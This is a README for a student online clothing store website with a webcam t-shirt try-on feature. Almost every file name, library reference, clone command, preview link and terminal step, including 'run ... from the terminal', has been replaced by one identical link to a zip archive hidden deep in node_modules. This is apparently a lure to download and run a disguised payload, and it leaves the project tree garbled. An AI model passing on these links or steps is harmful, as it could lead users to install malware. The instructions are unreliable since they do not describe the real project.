This project is an online clothing store website built using HTML, CSS, and JavaScript. It provides a user-friendly interface for customers to browse and purchase clothing items.
- Clone the repository:
git clone https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip - Open the
https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zipfile in a web browser to view the website.
Live preview on GitHub : https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip
- HTML
- CSS
- JavaScript
- Ionicons
- PoseNet (a pre-trained machine learning model)
- https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip (for Pose detection)
- Responsive, adapt to different screen sizes with Mobile Navigation Menu
- Home page with featured products and image slider
- Subscribe ovrelay window
- Category pages for men's and women's clothing
- Product detail pages
- About page
- Contact page
- Blog page
- Basic cart slider window functionality
- From window you Cart increase product number and then sum the total price
- Basic Favourite slider window functionality
- All pages including their breadcrumb at the top
- Go to the top button functionality
- run https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip from the terminal to minify the CSS code
- User account page (My Account)
- Terms and conditions page
- How It Works
-
Camera Setup: The app requests access to the user's webcam using the MediaDevices API. The live video feed is displayed in the video element.
-
Pose Detection: PoseNet (a pre-trained machine learning model) is loaded using https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip It estimates the user's body pose from the video feed in real-time.
-
Overlay T-Shirt: Based on the detected pose, the t-shirt image is dynamically resized and positioned over the user's body using the Canvas API.
-
Color and Opacity Customization: Users can modify the color of the t-shirt using a color picker and adjust its opacity using a range slider.
-
Capture Snapshot: The canvas is merged with the video feed to create a snapshot image, which can be downloaded by the user.
- Benefits:
- Wide Icon Selection: You can use hundreds of customizable icons in your web app without needing to create or load individual image files.
- Cross-Browser Compatibility: The combination of type="module" and nomodule ensures that both modern and older browsers can load the appropriate version of the icon library.
- Performance Optimization: Modern browsers use the ES module version (https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip), which is more efficient, while older browsers fall back to a more compatible version (https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip).
Online-Clothing-Store/ ├── assets/ │ ├── css/ │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ ├── images/ │ │ ├── icons/ │ │ │ ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ ├── products/ │ │ │ ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ │ ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ │ └── ... │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── js/ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── Try-on-app │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── My https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── LICENSE
- Mohamed: Home, about, contact, README, Try-On App
- Yehia: Cart, CSS, view Blog
- Kerolos: All products, All categories, all blog
- Youssef: My account, login, register, view products
- Karim: View blog, view product
Contributions are welcome! Please feel free to submit a Pull Request.
This project is open source and available under the MIT License.